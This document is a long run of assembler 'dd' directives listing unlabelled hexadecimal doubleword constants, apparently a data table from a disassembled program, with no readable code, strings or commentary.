		dd 205490Ah, 77FFFFh, 77FFFF02h, 120E0700h, 206044Ah, 77FFFF01h
		dd 0FF02050Fh, 8DFF77FFh, 8DFF0187h, 0FF040187h, 102B7FFh
		dd 14F60700h, 5470C12h,	88FF0005h, 57034E84h, 0D054B03h
		dd 5000102h, 1020Dh, 1020D05h, 20D0500h, 0D050001h, 5000102h
		dd 1020Dh, 0FF260407h, 205752Bh, 4050001h, 5000102h, 10504h
		dd 1020405h, 2040500h, 4050001h, 7000102h, 1020504h, 5040500h
		dd 4050001h, 5000102h, 10405h, 1020405h, 5040500h, 4070001h
		dd 10205h, 1050406h, 81FF0900h,	580104C6h, 47A0001h, 158010Ch
		dd 0F303FF00h, 1580205h, 2057200h, 72000158h, 0B589FF07h
		dd 4E30635h, 77FFFF01h,	0FFFF0200h, 0E070077h, 405081Dh
		dd 0FFFF0102h, 13180F77h, 1A16111Ch, 60C0029h, 2050A28h
		dd 45014519h, 26B0401h,	4140001h, 0D120E07h, 13501h, 5000010Dh
		dd 1020405h, 0E3D1FFh, 4010C0Dh, 58050001h, 0FF000102h
		dd 4FFC38Ah, 0C38AFFBDh, 83FF04FFh, 0C04BDC3h, 23001901h
		dd 700190Ah, 547120Eh, 19010C04h, 1902050Fh, 190A00h, 5120E07h
		dd 19010C04h, 1902020Fh, 190A00h, 5120E07h, 19010C04h
		dd 126E680Fh, 1020405h,	1C8DFF00h, 10C0405h, 1040900h
		dd 5000104h, 10204h, 10C0405h, 1040900h, 7000104h, 4A580FFh
		dd 1040102h, 0C044700h,	0C000105h, 10504h, 1020405h, 1020400h
		dd 5000104h, 10204h, 1020407h, 2000104h, 10204h, 19010402h
		dd 190A00h, 1B0B0E07h, 2040517h, 40F1901h, 190102h, 4021707h
		dd 23000105h, 10A0405h,	1040900h, 5000104h, 10204h, 1020405h
		dd 2040500h, 4070001h, 104010Ah, 2040200h, 80FF0001h, 10204A5h
		dd 5070019h, 1D131836h,	29111Ch, 0FF06160Ch, 0A2CB48Bh
		dd 0FF5E39FFh, 0B235C89h, 10C350Ah, 44C7FF35h, 39070001h
		dd 202127Bh, 190A0019h,	120E0700h, 0FF0CBDFFh, 165F1D8Bh
		dd 0FFFF1901h, 190202D3h, 190A00h, 5120E07h, 1901165Fh
		dd 2D3FFFFh, 0A001902h,	0E070019h, 0A5F4808h, 0FF190116h
		dd 0BF8D3FFh, 3000605h,	50B030Eh, 0F8100006h, 60A0Bh, 37C39FFh
		dd 190B03h, 7E89FF06h, 18030300h, 0FF1D4113h, 1611C481h
		dd 680C2A1Ah, 0FFFF0205h, 838DFF73h, 838DFF01h,	0FFFF0401h
		dd 102B3h, 120E1407h, 4050A06h,	2000102h, 10504h, 0A180405h
		dd 0A000102h, 10204h, 102040Ah,	40A2600h, 7000106h, 1060A04h
		dd 2040A00h, 40A0001h, 0A000106h, 10604h, 1050405h, 6042800h
		dd 10401h, 0C681FF07h, 1025805h, 6047200h, 73FFFF01h, 13180700h
		dd 11111C1Dh, 0C2A1A16h, 50A2806h, 1451902h, 6B040145h
		dd 7000102h, 2120E14h, 47001902h, 0A040C23h, 7001901h
		dd 202120Eh, 40C0019h, 19010Ah,	2120E07h, 0C001902h, 19010A04h
		dd 120E0700h, 2CFF05FEh, 0FEAF1902h, 0AF2CFFh, 10A040Ch
		dd 0E070019h, 19020512h, 0A040C00h, 7001901h, 202120Eh
		dd 40C0019h, 19010Ah, 71120E07h, 71211D05h, 2040221h, 4490001h
		dd 104010Ah, 0FF052900h, 5801C72Bh, 40C0001h, 23000102h
		dd 10A0D0Ch, 0A0D0C00h,	0D070001h, 10A0Ch, 1020D05h, 0A042300h
		dd 7001901h, 0A040F02h,	7001901h, 91087117h, 2040221h
		dd 0A5290001h, 1020401h, 1040900h, 1A50Dh, 3A14070Dh, 90A0C23h
		dd 5D01FF00h, 4DFFFF07h, 20D050Bh, 2040001h, 7001901h
		dd 1C1D1318h, 291A1611h, 28060C00h, 145190Ah, 6B040145h
		dd 7000102h, 2120E14h, 47001902h, 0A040C23h, 7001901h
		dd 0BB1F121Fh, 2022155h, 40C0019h, 19010Ah, 1F121F07h
		dd 190202BBh, 0A040C00h, 7001901h, 0BB1F121Fh, 4052155h
		dd 4000102h, 13501h, 3D9E055Fh,	4010D14h, 1500BE01h, 1580205h
		dd 4583FF00h, 143D1505h, 104010Dh, 1040900h, 4070019h
		dd 19010A0Ch, 121F0700h, 2155BB1Fh, 190205h, 10A040Ch
		dd 1F070019h, 55BB1F12h, 19020221h, 0A040C00h, 7001901h
		dd 0BB1F121Fh, 4052155h, 7000102h, 20B022Dh, 1040210h
		dd 9040700h, 10401h, 1020405h, 1020400h, 40C0019h, 19010Ah
		dd 1D131807h, 3805111Ch, 11030300h, 3003805h, 4A061103h
		dd 2E7439FFh, 0FFFD4FE5h, 80FFC18Ah, 0E8C0FFE1h, 0FFC180FFh
		dd 0A88FF04h, 4E4288FFh, 3BFF9090h, 11132274h, 1E1E1A16h
		dd 0A060C71h, 4D80FF08h, 1568CA10h, 0A64B8DFFh,	4D80FF54h
		dd 438DFFCAh, 8966FF2Bh, 66FF1045h, 0CA3D4589h,	0FFF8314h
		dd 140145B7h, 14030E00h, 5101B0Bh, 3758DFFh, 49A36C33h
		dd 63D0A28h, 0D070001h,	9090105h, 0E090F09h, 1003000Bh
		dd 8037100h, 0DF2BFF05h, 8DFFC709h, 620A0C75h, 8BFF0305h
		dd 0A36C09FCh, 5100700h, 1D131836h, 1A16111Ch, 60C0029h
		dd 12DB480Ah, 192812DBh, 1450145h, 1026B04h, 14670700h
		dd 6057208h, 1F030043h,	6050803h, 31F0300h, 2171B08h, 10A04h
		dd 0A060426h, 4020001h,	200010Ah, 10504h, 0FF020515h, 0FF2B1C8Dh
		dd 8BFF838Bh, 8C89FF8Bh, 5000104h, 10204h, 4010407h, 4000109h
		dd 4010001h, 10401h, 0FF000104h, 6607A480h, 0F66FF04h
		dd 66FF94B6h, 255C1089h, 0CE3BFF25h, 4260922h, 10602h
		dd 4010604h, 9020001h, 80E0700h, 6020409h, 4060001h, 5000102h
		dd 10A04h, 29140704h, 401010Ah,	4090F01h, 10602h, 1020406h
		dd 0A040700h
		dd 50A050Ah, 1F0F0102h,	174A0B14h, 10A0D05h, 13CA0500h
		dd 36830583h, 0AF141483h, 20D0614h, 66FF4301h, 66FF45C7h
		dd 66FF7D89h, 66FF45C7h, 0FF4045C7h, 7D8966h, 1020D06h
		dd 0D07003Ah, 50D010Ah,	0E0F0901h, 10408h, 0A8FF035Fh
		dd 0FF4D0814h, 0FF0B45F6h, 1305BB80h, 7501FF08h, 3000104h
		dd 0A8FF5F44h, 3D102508h, 8BB80FFh, 252510EDh, 50001401h
		dd 0DF3BFF03h, 170F090Bh, 0C0A09h, 0C0206h, 25000104h
		dd 0FF4389FFh, 8BFF7B89h, 4389FF43h, 8DFF0104h,	4000143h
		dd 75F0001h, 814A8FFh, 0BA8FF25h, 80FF4414h, 0FF0608B9h
		dd 102C303h, 1FF0700h, 8DFF1575h, 10434h, 4583FF25h, 7E89FF7Bh
		dd 689FF46h, 0FF150104h, 1C303h, 44000104h, 0A8FF5F07h
		dd 0FF250814h, 5140BA8h, 0AC303FFh, 28150001h, 80FF3D07h
		dd 89FF08BEh, 66FF103Ch, 0D0504C7h, 700010Ah, 0CA8E8AFFh
		dd 66FF05CAh, 0FF367D89h, 17D8966h, 8DFF0902h, 0D9F6FF75h
		dd 0CC91BFFh, 839B62CCh, 8966FF05h, 0FF83034Dh,	3A09FC8Bh
		dd 0A36C14h, 4A0B0E07h,	9130510h, 3000C0Fh, 90A0A48h, 510530Fh
		dd 1D131836h, 3805111Ch, 30E0300h, 38010Bh, 16110303h
		dd 490A061Ah, 7D2BFF4Ah, 15099652h, 109EDh, 4E080E07h
		dd 4BF73BFFh, 4113181Bh, 10360511h, 291A16h, 59060C15h
		dd 859080Ah, 13181B59h,	2111C1Dh, 90205h, 53000620h, 0FF765B07h
		dd 510E083h, 330F0505h,	6DCB83FFh, 54A0840h, 1060Dh, 0C766FF07h
		dd 90F0245h, 458966FFh,	50D140Fh, 390F0A01h, 2050612h
		dd 12390F0Ah, 48D0623h,	3009010Ah, 174A0B39h, 5050B55h
		dd 390F0902h, 0A040508h, 20300901h, 0B550857h, 6040205h
		dd 0E070001h, 81FF1B08h, 9D0FFFFEh, 51025C0h, 1060402h
		dd 765B0700h, 20E083FFh, 17530F09h, 60C1A16h, 0A572C28h
		dd 2E374A0Bh, 0FF000C05h, 303848Ah, 0FF4EFB44h,	1022753Bh
		dd 374A0B73h, 0C052Eh, 3848AFFh, 4EFB4403h, 22753BFFh
		dd 2E374810h, 0FF000C05h, 3C0BE0Fh, 3048DFFh, 0BB085FFh
		dd 808AFF44h, 3BFF64FBh, 1318227Dh, 1611411Dh, 60C2A1Ah
		dd 9090502h, 6E075000h,	208A708h, 3200002h, 0C0B0332h
		dd 131B0300h, 0A111C1Dh, 0B46F6FFh, 5040206h, 4330001h
		dd 0C010Ah, 0F83BFF07h,	3000C08h, 0C1048h, 6180503h, 18A80300h
		dd 2A1A1610h, 260A060Ch, 1060402h, 10400h, 1040168h, 8AFF000Ch
		dd 1B030515h, 9588FF95h, 97DD866Ch, 7D8DFF1Bh, 25588FFh
		dd 0C1B9786h, 141414h, 4120E07h, 0C0106h, 1F120E07h, 1230D12h
		dd 10A04h, 120E1407h, 50A010Dh,	0E140700h, 10D3A0Bh, 900050Ah
		dd 0BBC0700h, 0BC17023Ah, 17023A0Bh, 122D122Dh,	3 dup(17020BBCh)
		dd 0BBC12BCh, 0BBC1702h, 3 dup(10D010Dh), 0D6000902h, 1D60107h
		dd 1D601D6h, 1020402h, 0FF071B00h, 8AFF658Ah, 0D020145h
		dd 7000105h, 0BBC1702h,	33000202h, 12035203h, 0A0505h
		dd 505000Ah, 0A00140Ah,	9040700h, 10602h, 1000104h, 0C0104h
		dd 21BC1707h, 1060402h,	10400h,	0C010401h, 50D0200h, 10401h
		dd 120E1407h, 202121Fh,	52033300h, 5051203h, 0A000Ah, 140A0505h
		dd 7000A00h, 2090204h, 4000106h, 4010001h, 9000901h, 4020700h
		dd 4000106h, 4010001h, 7000C01h, 3000C02h, 21BC1703h, 1060402h
		dd 10400h, 0C010401h, 4010D00h,	0E070001h, 6040212h, 1040001h
		dd 1040100h, 205000Ch, 8DFF0700h, 11E258Dh, 20202h, 100F0207h
		dd 4020BBCh, 4000106h, 4010001h, 7000C01h, 1060402h, 10400h
		dd 0C010401h, 7000C00h,	1D13181Bh, 1A163F1Ch, 490A062Ah
		dd 3000A05h, 2612030Eh,	0A010604h, 120E0700h, 104121Fh
		dd 1C50400h, 30E0300h, 1020421h, 10400h, 0A010401h, 6040500h
		dd 7000A01h, 121F120Eh,	4000104h, 30001C5h, 0B030Eh, 1020401h
		dd 10400h, 0A010401h, 6040500h,	7000A01h, 81F080Eh, 4000104h
		dd 5B0001C5h, 25037603h, 13181B10h, 1A16111Ch, 0A060C2Ah
		dd 1040902h, 7000900h, 0D18052Ch, 0A0105h, 1050D05h, 7200002h
		dd 60832h, 0D08030Eh, 50000105h, 8036E03h, 64030006h, 22FF81FFh
		dd 270B6Eh, 4513C10h, 7000102h,	20000C02h, 8033203h, 2060873h
		dd 30E0300h, 300060Bh, 0C089A3Ch, 3002700h, 1B131803h
		dd 383F1C1Dh, 63F00h, 20B0Eh, 8320320h,	0A35B20Ah, 31B0001h
		dd 38738FFh, 601B702h, 18070002h, 1A161113h, 0A060C2Ah
		dd 1040902h, 7000900h, 13050C2Ch, 330F0606h, 41240F9h
		dd 10001h, 10C0D05h, 66FF0700h,	0F057589h, 458966FFh, 140F0104h
		dd 501050Dh, 0F3A0A02h,	0A01050Dh, 2121F0Fh, 39030002h
		dd 0A0B1403h, 4513C17h,	6000102h, 900090Ch, 90C0C00h, 4020014h
		dd 8D00010Ch, 36440507h, 0DE3142Bh, 40C01CDh, 0F0C010Ch
		dd 8E0FFF0Eh, 0BD5EA0FFh, 6C3A951Bh, 0D97DD86h,	0C010D01h
		dd 9010204h, 1F08390Fh,	9D38FF08h, 4215521h, 58230001h
		dd 100140Ah, 7000A09h, 0D09080Eh, 2050C01h, 90C0C17h, 0B0040900h
		dd 285C6FFh, 0FFB00105h, 70085C6h, 1E093D4Ch, 104010Ch
		dd 0FF215517h, 69FE8D8Ah, 85C6FFB0h, 0C0FEFF0Bh, 0BDC932FFh
		dd 0FEFF10B0h, 88FFBDC1h, 0FFF6F8Dh, 0C1FFC9B6h, 0FF5F0CE0h
		dd 1401E0C1h, 4090009h,	10502h,	90D3307h, 478DFF01h, 104010Ch
		dd 0B6D3009h, 4922C915h, 300020Ah, 5080367h, 33030002h
		dd 0F090503h, 10D01h, 1640D07h,	202020Ah, 9100700h, 50C010Dh
		dd 3C300902h, 912F4h, 270F0903h, 13180300h, 3F1C1D1Bh
		dd 20000206h, 0A083203h, 10A35B2h, 0FF031B00h, 2038738h
		dd 20601B7h, 13180700h,	341A1611h, 662EDC06h, 2E4D39FFh
		dd 32FFCE15h, 3AFF2845h, 0FF5C0804h, 90224D3Bh,	22553BFFh
		dd 1141131Bh, 16103605h, 60C2D1Ah, 56290B0Ah, 2012822h
		dd 7001406h, 0FF9E8DFFh, 2D10BE8Dh, 2256290Bh, 6020128h
		dd 0FF070014h, 81FFBE8Dh, 562910C6h, 28101B3Bh,	14060201h
		dd 8DFF0700h, 0BE8DFF9Eh, 6EC681FFh, 0FF0F0908h, 8520389h
		dd 1030009h, 8966FF0Fh,	15083207h, 150689FFh, 411D1318h
		dd 1E1A1611h, 220A062Dh, 35092809h, 2090914h, 7330001h
		dd 171B0B52h, 60205h, 514075Dh,	509090Dh, 0E070001h, 905150Bh
		dd 14C733FFh, 105090Dh,	80E0700h, 10421400h, 157B0C15h
		dd 1D8AFF7Bh, 909097Fh,	700090Ah, 0FF00080Eh, 0FF7FD88Ah
		dd 1B101D88h, 525E88FFh, 3FF442Eh, 1930FFC8h, 0FF226725h
		dd 181D478Dh, 16111C13h, 0A062A1Ah, 5000505h, 7003305h
		dd 991305AFh, 50508h, 4E4488FFh, 0F73BFF03h, 25F0B03h
		dd 4260001h, 10206h, 104010Dh, 1060400h, 18070009h, 16111C13h
		dd 60C2A1Ah, 5DB480Ah, 0FFDB0B1Dh, 29081D89h, 0D51054Ah
		dd 0D050001h, 0D00016Bh, 10D0001h, 0D010D00h, 0E070001h
		dd 39FF720Bh, 100B45BEh, 0DB1D89FFh, 2020Bh, 3520333h
		dd 60A2608h, 10C04h, 1080E07h, 90104h, 0C04060Ah, 10070001h
		dd 0FF03000Ah
		dd 1318C38Bh, 16111C1Dh, 25A1E1Ah, 0E030009h, 111C0B03h
		dd 1050D05h, 1C150F09h,	1B480A11h, 0FF5E08DBh, 3BFF518Bh
		dd 259B0854h, 0B3939FFh, 0C06BFF10h, 8DFF7406h,	60A05B8h
		dd 72000600h, 13070006h, 161118A8h, 6152A1Ah, 1053Dh, 9010420h
		dd 0B0E0700h, 10204h, 4E040303h, 9090601h, 7000202h, 16111C13h
		dd 60C2A1Ah, 500090Ah, 1090Dh, 0D00010Dh, 4230001h, 1050Ah
		dd 26475A07h, 300090Ch,	408030Eh, 90106h, 66121F07h, 8C13BFFh
		dd 948BFF2Eh, 8553BFFh,	5822A65Ch, 1040105h, 5040600h
		dd 10070001h, 11E040Ah,	2D4D0700h, 91021h, 208030Eh, 901090Dh
		dd 9050700h, 180F0C0Fh,	111C1D13h, 0C2A1A16h, 0A480A06h
		dd 7000909h, 53A0D20h, 89FF1D40h, 0A0401B5h, 0FF0A0A01h
		dd 390F9D89h, 6000B06h,	3670300h, 11E4C08h, 3500300h, 6DF3BFFh
		dd 30E0008h, 60D0208h, 7000C01h, 20F0605h, 300060Fh, 1C1D1318h
		dd 16112911h, 2806621Ah, 600060Ah, 30E0300h, 11E4C08h
		dd 3330300h, 80652h, 208030Eh, 0A01060Dh, 6050700h, 60F020Fh
		dd 1B180300h, 163F1C13h, 20A2A1Ah, 10409h, 5040009h, 7330001h
		dd 270B52h, 4171B03h, 513C0106h, 10204h, 20104h, 0B9A3C07h
		dd 20000A02h, 8037303h,	2060832h, 30E0300h, 300060Bh, 27000A10h
		dd 31B0300h, 3F1C1813h,	21E1A16h, 14030E00h, 60C2D08h
		dd 847260Ah, 6100009h, 3303000Ch, 99085203h, 0C062Eh, 28033303h
		dd 0A013505h, 0C356800h, 71B0001h, 0A8338FFh, 601B702h
		dd 18070002h, 111C1D13h, 8DA2C0Ch, 0FF462606h, 629FF25h
		dd 6683FFh, 34087B0Eh, 7983FF5Eh, 0DA3BFF08h, 13BFF08h
		dd 109B9008h, 83FFD772h, 1D130B3Eh, 2A1A1611h, 50A060Ch
		dd 2000902h, 0E070009h,	0C262C12h, 9010604h, 1F12390Fh
		dd 0FF12F612h, 2049C88h, 3002B01h, 4C120339h, 1061E26h
		dd 120E0700h, 0C06010Dh, 6D073300h, 6010D12h, 205000Ch
		dd 700140Ah, 2B0D0B0Eh,	2010D01h, 7002B0Ah, 0B563605h
		dd 2D172137h, 50B370Bh,	5212D10h, 37212D10h, 1036050Bh
		dd 2050837h, 0E07000Ah,	12B0D0Bh, 5000A02h, 20000902h
		dd 0DEF7FF07h, 4EF61BFFh, 2050B73h, 0E070009h, 2D082D0Bh
		dd 0FF571B0Bh, 3DC0950Fh, 13181B10h, 16111C1Dh,	4022A1Ah
		dd 9000109h, 270500h, 270104h, 270B0E07h, 86A1700h, 39FF0027h
		dd 6A210385h, 27010D0Bh, 0B6A1000h, 201050Dh, 3030002h
		dd 1040001h, 7000104h, 0D010010h, 2040001h, 4070001h, 95FFFF01h
		dd 27270B6Ah, 0B6A1000h, 104010Dh, 27030300h, 1C1B0300h
		dd 2A1A163Fh, 4020A06h,	9000109h, 10400h, 2088A07h, 10504h
		dd 234A1707h, 10A0Dh, 400010Dh,	10D01h,	4E080E07h, 6BFF10E1h
		dd 0FF0405F6h, 106B68Dh, 0B589FFh, 4000104h, 83FF0001h
		dd 40104A5h, 4070001h, 30E0001h, 158AFF08h, 951B0305h
		dd 6C9588FFh, 597DD86h,	0FF95031Bh, 866C9588h, 10497DDh
		dd 1040104h, 80E0700h, 30E0027h, 270B14h, 3C171B03h, 0FF120E0Ch
		dd 1240F6h, 0F7FF0592h,	0C91BFFD9h, 719B5AFFh, 8BFF08CDh
		dd 5684FFB5h, 0CD03050Bh, 0CD820871h, 3050871h,	0E0B9CCDh
		dd 9589FF08h, 458AFF10h, 0CA5D8AFFh, 10504AFh, 8AFF0083h
		dd 7F030345h, 626AFh, 1270403h,	3D3C0104h, 6000102h, 27040700h
		dd 3C010401h, 1020451h,	0FF072C00h, 0B269D39h, 2B0F06h
		dd 0F43C2B14h, 2BFF4921h, 8BFF007Dh, 69FF878Dh,	0C13BFFC9h
		dd 40104C8h, 1040001h, 1040104h, 1020400h, 80E0700h, 10C0409h
		dd 7000104h, 0E030001h,	0FF000803h, 0FF878D8Bh,	3BFFC969h
		dd 820FFFC1h, 90F27h, 912030Eh,	6E035000h, 86A4D12h, 0E000A23h
		dd 0FF081403h, 1E0A8D8Dh, 0A490001h, 5F89FF02h,	0B0E0700h
		dd 910000Ah, 303000Ch, 0B9A3C10h, 0C0104h, 5D8AFF03h, 1CA0403h
		dd 2040104h, 7F070001h,	1FF0F06h, 91775h, 9172C03h, 1E2BA500h
		dd 0FF04141Eh, 0D8FF6DDFh, 401D30Dh, 1020401h, 27000900h
		dd 1D1B0700h, 3F1C1318h, 0C621A16h, 0A06372Ch, 126D4912h
		dd 38A000Ah, 0E000A08h,	26371203h, 3000908h, 12F71014h
		dd 0D012029h, 10D0001h,	10A0D00h, 80E0700h, 80FF5372h
		dd 43170B3Eh, 2EF50837h, 8263743h, 14030009h, 222D4310h
		dd 2E7D81FFh, 8263743h,	14030009h, 8374310h, 2E7D81FFh
		dd 20000243h, 2125703h,	97E8DFFh, 0FF05000Ah, 0C099E8Dh
		dd 9021500h, 15E415E4h,	145E4h,	91B0744h, 98138FFh, 0A0C6BB7h
		dd 2060102h, 13180700h,	16111C1Dh, 60C2A1Ah, 409020Ah
		dd 90001h, 451073Ch, 0D000102h,	2040148h, 404001h, 0DB4D1407h
		dd 5283A12h, 10604h, 0B589FF04h, 1040001h, 67073C00h, 40F6FF12h
		dd 0FF920012h, 1BFFD9F7h, 0CD559BC9h, 958BFF08h, 0B42F6FFh
		dd 55CD0305h, 0CD030508h, 3050855h, 670B9CCDh, 85C7FF08h
		dd 8AFFFE10h, 0A580FF9Dh, 10A04AFh, 85C6FFh, 3458AFFh
		dd 0FFBDB003h, 0FF298D8Ah, 1BFFD9F6h, 0C823FFC9h, 4C803FFh
		dd 9010A1Eh, 0FF075000h, 208DF3Bh, 0FF032000h, 408F73Bh
		dd 60102h, 0FF02064Dh, 7005E89h, 0C0B0Eh, 3030006h, 4010410h
		dd 10209h, 4583FF07h, 7839FF15h, 2010D21h, 1407000Ah, 0FF083C67h
		dd 9127839h, 2045109h, 270001h,	13181B07h, 0E03F1C1Dh
		dd 20806h, 8320320h, 1383502h, 38450200h, 2070001h, 20605h
		dd 16111307h, 20C2A1Ah,	10409h,	2040009h, 72C0001h, 81D38FFh
		dd 5532606h, 10D01h, 0D00010Dh,	10401h,	2190407h, 58030001h
		dd 91070001h, 5E89FF08h, 38FF5372h, 4130B1Eh, 104017Fh
		dd 7002700h, 3F1C1D1Bh,	20000206h, 38083203h, 3000135h
		dd 6050203h, 13070002h,	2A1A1611h, 4090206h, 90001h, 4202700h
		dd 1040105h, 80E0700h, 30001h, 1C62BFFh, 1040104h, 10204h
		dd 0B711007h, 0C62BFF00h, 4853BFFh, 22010401h, 4021002h
		dd 27070001h, 131B0300h, 1A163F1Ch, 0A060C2Dh, 0B6E6812h
		dd 0E000C47h, 0D9631203h, 9082Dh, 23103303h, 81FF0852h
		dd 254FFh, 8320320h, 1093502h, 0C450500h, 45090001h, 1BE89FFh
		dd 90C0700h, 2060502h, 13180700h, 1611411Dh, 20C2A1Ah
		dd 10409h, 0FF270009h, 7009D8Bh, 270B0E14h, 171B0300h
		dd 85B70FFFh, 1270A06h,	85B70FFFh, 3C010401h, 1020451h
		dd 71078D00h, 300A0B23h, 3C145A00h, 66FF219Ah, 0DD99D3Bh
		dd 0FFF0105h, 1C3B7h, 9D70D07h,	401052Bh, 1070001h, 30E0300h
		dd 3B66FF08h, 30272E9Dh, 30E0009h, 0B9A3C08h, 30E0009h
		dd 11E4C08h, 8AFF0300h,	4D0D035Dh, 10401CAh, 10204h, 300A7F07h
		dd 68000910h, 91703h, 141E1EA5h, 45DBFF04h, 0D30DD8FFh
		dd 1020401h, 27000900h,	181B0700h, 3F1C1D13h, 2D1E1A16h
		dd 120A060Ch, 2D120E15h, 1140Bh, 40520333h, 0D9992612h
		dd 3500009h, 0FF122B6Eh, 2D9DE3Bh, 32032000h, 402E6D12h
		dd 8232D2Bh, 14030009h
		dd 472D4010h, 402E3708h, 908232Dh, 10140300h, 0FF082D40h
		dd 402E7D81h, 109350Ah,	8B66FF00h, 0FF370745h, 0FF868966h
		dd 0FF458B66h, 54868966h, 89FF2968h, 1554569Eh,	0BE8DFF68h
		dd 89FF0C02h, 14507h, 86B70FFFh, 0FF01EC07h, 186B70Fh
		dd 0FF1B0135h, 0B7028338h, 20601h, 1D131807h, 1A16111Ch
		dd 0D060C1Eh, 126490Ah,	470A06h, 64080E07h, 6010D64h, 0E07000Ah
		dd 0BE0FFF08h, 33FF150Bh, 1456D7C1h, 0FF14594Bh, 4D44452Ah
		dd 0D0188FFh, 0A0601h, 64080E07h, 3B80FF64h, 80FF470Bh
		dd 1B10083Fh, 0FF051510h, 18362080h, 111C1D13h,	0C621A16h
		dd 480A0D06h, 20A0201h,	680F4002h, 0A0C010Dh, 9260A0Ah
		dd 14090F43h, 20B880Fh,	7000C05h, 2081467h, 9E150001h
		dd 11E3Dh, 10360507h, 0F020C06h, 26000C02h, 7000C06h, 145D0B0Eh
		dd 1F0F010Dh, 0D081F08h, 0C0201h, 7000C06h, 0FEFF0B0Eh
		dd 10087145h, 1D13181Bh, 1A16111Ch, 904022Ah, 90001h, 7000104h
		dd 270B0Eh, 3C171B03h, 510A060Ch, 10204h, 4AF2CFEh, 2B2B0102h
		dd 73300B0h, 0C05126Dh,	0A000Ah, 0FF072920h, 2022F03Bh
		dd 0A0C0Ch, 7000135h, 0B0A1439h, 6170300h, 0A000105h, 0FF071500h
		dd 2201C88h, 6020006h, 6020033h, 2 dup(6020014h), 37070014h
		dd 86D1214h, 1237C888h,	0C888086Dh, 86D1237h, 1239C888h
		dd 0C867086Dh, 201B004h, 0B0B0B006h, 40700B0h, 90201h
		dd 2010407h, 4070009h, 90201h, 2010407h, 1040009h, 7000104h
		dd 24D080Eh, 401040Fh, 2 dup(4010401h),	10209h,	0BF4073Ch
		dd 0FF086D4Dh, 917778Dh, 458AFF00h, 0FBD0203h, 51093C09h
		dd 10204h, 3002707h, 1D1B1318h,	2063F1Ch, 32032000h, 1353808h
		dd 2030300h, 20605h, 29111307h,	60C2A00h, 409020Ah, 90001h
		dd 0C0D2C07h, 2B010C0Ch, 0B9390F2Bh, 17030027h,	0B2B8337h
		dd 4C280002h, 0CB10C1Eh, 50FFFF06h, 602B939h, 270001h
		dd 513C1703h, 10204h, 0AF2B07FEh, 20B37B0h, 8DFF1500h
		dd 8CAD0C55h, 0EB60105h, 21F43C21h, 758DFF62h, 4FC8BFFh
		dd 2A3A3A3h, 70FA301h, 0B2B8337h, 4C280002h, 0CB14C1Eh
		dd 0FF060C1Eh, 0B93950FFh, 10602h, 20B37h, 558DFF15h, 58CAD0Ch
		dd 210EB601h, 0B2B8337h, 4C280002h, 0CB14C1Eh, 0C1E4C1Eh
		dd 50FFFF06h, 602B939h,	0B370001h, 0FF150002h, 0AD0C558Dh
		dd 0B601058Ch, 0BF09210Eh, 61010204h, 2B2B3707h, 0C00020Bh
		dd 281E0C4Ch, 94C1E4Ch,	1E4C1EB1h, 0FFFF060Ch, 2B93950h
		dd 9000106h, 0FF032800h, 3BFF4E8Dh, 34663BC1h, 0CE152E57h
		dd 0BC33AFFh, 1084C6FFh, 5C8488FFh, 3BFF9090h, 88FF22D6h
		dd 409109Ch, 7610102h, 0A04238Dh, 0A043001h, 48D3001h
		dd 0E300102h, 38FF4D0Bh, 1040B9Dh, 9040104h, 7000102h
		dd 30010204h, 4BF210Eh,	26610102h, 10604h, 8030E03h, 10604h
		dd 1032503h, 4610104h, 3000106h, 24D03FCh, 401040Fh, 4010401h
		dd 10209h, 1020407h, 15210E0Fh,	2E374A48h, 0CB3AFFFDh
		dd 84C6FF0Bh, 0E0F1E10h, 69FD0B15h, 69086908h, 88FFFD0Bh
		dd 4E4E648Ch, 22753BFFh, 0FF9C88FFh, 8DFF5838h,	4EBB2BB5h
		dd 0F010604h, 10A0423h,	30E0300h, 10A0408h, 3FC0300h, 300060Ah
		dd 0A08030Eh, 25030006h, 4012503h, 0A040F01h, 0E030001h
		dd 0A040803h, 0FC030001h, 60A03h, 4032003h, 24D0F01h, 0F748DFFh
		dd 0B9D38FFh, 1040104h,	1020904h, 4D150700h, 40B60FFFh
		dd 8C0FFF56h, 0F010204h, 204210Eh, 0E030001h, 4262103h
		dd 3000106h, 408030Eh, 3000106h, 50403FCh, 0F010401h, 10204h
		dd 0B030E03h, 10204h, 0B030E03h, 0FF0F024Dh, 4219D38h
		dd 4010401h, 10209h, 4BF1707h, 26610102h, 10604h, 8030E03h
		dd 10604h, 1032503h, 4610104h, 3000106h, 24D03FCh, 401040Fh
		dd 4010401h, 10209h, 6042607h, 600010Ch, 10C04h, 83151707h
		dd 18C1239h, 831517B6h,	18C1239h, 8AFF17B6h, 0FBD0245h
		dd 4513C09h, 27000102h,	7F150700h, 18C0839h, 83FF15B6h
		dd 8C08394Dh, 1844B601h, 0FFC61B13h, 1C1D0D89h,	806CB3Fh
		dd 3200002h, 35380832h,	3030001h, 2060502h, 11130700h
		dd 0E018BFFh, 0B6018C08h, 2A1A1611h, 20A060Ch, 10409h
		dd 74A0009h, 43434343h,	2042C43h, 50F0C01h, 10204h, 18050E07h
		dd 204400Bh, 0E030001h,	4400B03h, 3000102h, 400B030Eh
		dd 0FB81FFD7h, 470DBF22h, 2060C01h, 0E614302h, 8D093A0Bh
		dd 10D5A30h, 202050Ch, 3A0B0E61h, 29713009h, 0DC34085Eh
		dd 2 dup(0DC0BDC0Bh), 300270Bh,	8DC3410h, 0DC50107Ch, 0DC330BB3h
		dd 2D200B93h, 0BD18BFFh, 2DD08BFFh, 0A0C8108h, 401AD06h
		dd 27000102h, 13180700h, 3F1C1D1Bh, 20000206h, 38083203h
		dd 3000135h, 6050203h, 13070002h, 151A1611h, 3883FF06h
		dd 9512008h, 0E070009h,	80E4608h, 90901h, 72080E07h, 3E83FF53h
		dd 41131B0Bh, 10360511h, 0C2D1A16h, 490A2806h, 0A060908h
		dd 0B0E0700h, 622A768h,	700020Ah, 22A70B0Eh, 20A06h, 0A70B0E07h
		dd 20A0622h, 0B0E0700h,	0A0622A7h, 0E070002h, 10360508h
		dd 1D13181Bh, 1A161141h, 60C0029h, 409020Ah, 90001h, 0F6FF07FEh
		dd 0FF2C76D8h, 0FF0C8D8Dh, 505C123h, 73200F14h,	2041243h
		dd 1040F01h, 126D330Fh,	10C0D05h, 0C766FF00h, 0FF07C145h
		dd 0FF05008Bh, 0D14008Bh, 1F0F0601h, 0C0D0C12h,	0D0C0C01h
		dd 6020105h, 121F0F3Ah,	4513C27h, 7000102h, 5B0951Bh, 6C7F037Fh
		dd 1B97DD86h, 867D8DFFh, 10497h, 0D030001h, 1000103h, 3040300h
